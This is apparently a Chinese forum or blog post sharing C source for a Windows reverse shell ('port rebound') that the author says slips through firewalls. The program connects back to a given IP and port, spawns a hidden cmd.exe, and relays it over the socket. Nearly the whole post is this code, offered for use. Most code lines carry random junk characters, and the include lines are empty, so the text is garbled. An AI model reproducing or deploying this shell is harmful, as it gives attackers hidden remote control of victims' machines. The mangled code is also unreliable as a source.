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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 QaBXzf   
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/* ============================== :uDB3jN[  
Rebound port in Windows NT N,Bs% p#1  
By wind,2006/7 qM !q,Q  
===============================*/ U7eQ-r  
#include G.e\#_RR?  
#include .Awq(  
OSIp  
#pragma comment(lib,"wsock32.lib") R0d|j#vP  
oXkhj,{y5  
void OutputShell(); /n7,B}  
SOCKET sClient; E8<i PTJs  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; P`9A?aG.Z  
{Dq51  
void main(int argc,char **argv) L1 VTq9[3  
{ <!>}t a  
WSADATA stWsaData; %~2m$#)  
int nRet; bQjHQ"G  
SOCKADDR_IN stSaiClient,stSaiServer;  Vp^sER  
H,~In2Z  
if(argc != 3) 5&@U T  
{ +0 |0X {v  
printf("Useage:\n\rRebound DestIP DestPort\n"); M?u)H&kEl  
return; FCJ(D!  
} )ixE  
7~f6j:{|z  
WSAStartup(MAKEWORD(2,2),&stWsaData);  y-#tU>P  
}TvAjLIS6  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h!~yYNQ"  
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stSaiClient.sin_family = AF_INET; 0pOha(,~  
stSaiClient.sin_port = htons(0); 9E?>B3t^  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3R .cj  
e5KF~0`  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) EtGr& \,  
{ X5[sw;rk  
printf("Bind Socket Failed!\n"); p~ItHwiT  
return; mIodD)?{  
} oX ,M;;Yq  
rID]!7~  
stSaiServer.sin_family = AF_INET; g XMkI$ab  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Hefqzu  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8:NHPHxB  
kzXW<V9  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) C\D4C]/8  
{ 7RJW  
printf("Connect Error!"); _P1-d`b0 a  
return; -wRzMT19MG  
} -<=< T@,  
OutputShell(); iX p8u**  
} cgOoQP/#  
UUq9UV-h  
void OutputShell() yl%F<5  
{ XZGyhX7  
char szBuff[1024]; |\t_I~de  
SECURITY_ATTRIBUTES stSecurityAttributes; g*M3;G  
OSVERSIONINFO stOsversionInfo; H1M>60*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; N0PX<$y  
STARTUPINFO stStartupInfo; ]3'd/v@fT  
char *szShell; f *vziC<m  
PROCESS_INFORMATION stProcessInformation; 1S:H!h3  
unsigned long lBytesRead; [:qX3"B  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); m>_'f{&u  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9h8G2J o  
stSecurityAttributes.lpSecurityDescriptor = 0; NYeg,{q  
stSecurityAttributes.bInheritHandle = TRUE; (k~c]N)v  
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4r*6fJ*bJ  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~-/AKaK}  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); WyETg!b[  
-j,o:ng0  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); w[&BY  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4dP_'0]9A:  
stStartupInfo.wShowWindow = SW_HIDE; _G|6xlO  
stStartupInfo.hStdInput = hReadPipe; rIb{=';  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; q8J/tw?%v  
\q>,c49a{  
GetVersionEx(&stOsversionInfo); p:jrqjLp  
$B2@mC([S  
switch(stOsversionInfo.dwPlatformId) J,7\/O(`A  
{ rgCId@R  
case 1: ~08v]j q  
szShell = "command.com"; *bx cq  
break; sMx\WTyz  
default: 21qhlkdc  
szShell = "cmd.exe"; xjYFTb}!  
break; BG"6jQh  
} M<nn+vy`  
kAoai|m@R  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); sAb|]Q((  
-]e@cevy  
send(sClient,szMsg,77,0); {~SR>I3sv  
while(1) 0/Csc\Xl  
{ "Xqj%\  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); So:89T  
if(lBytesRead) ~VKw%WK  
{ Jj!T7f*-GX  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @;0Ep 0[  
send(sClient,szBuff,lBytesRead,0); ;p/@tr9  
} w%ForDB>P  
else 1gC=xMAT  
{ SO)??kQ{U  
lBytesRead=recv(sClient,szBuff,1024,0); l},%g%}iMU  
if(lBytesRead<=0) break; !q X 7   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); vv u((b  
}  7;XdTx  
} (.c?)_G,  
^%L$$V nG  
return; bke 1 F '  
}
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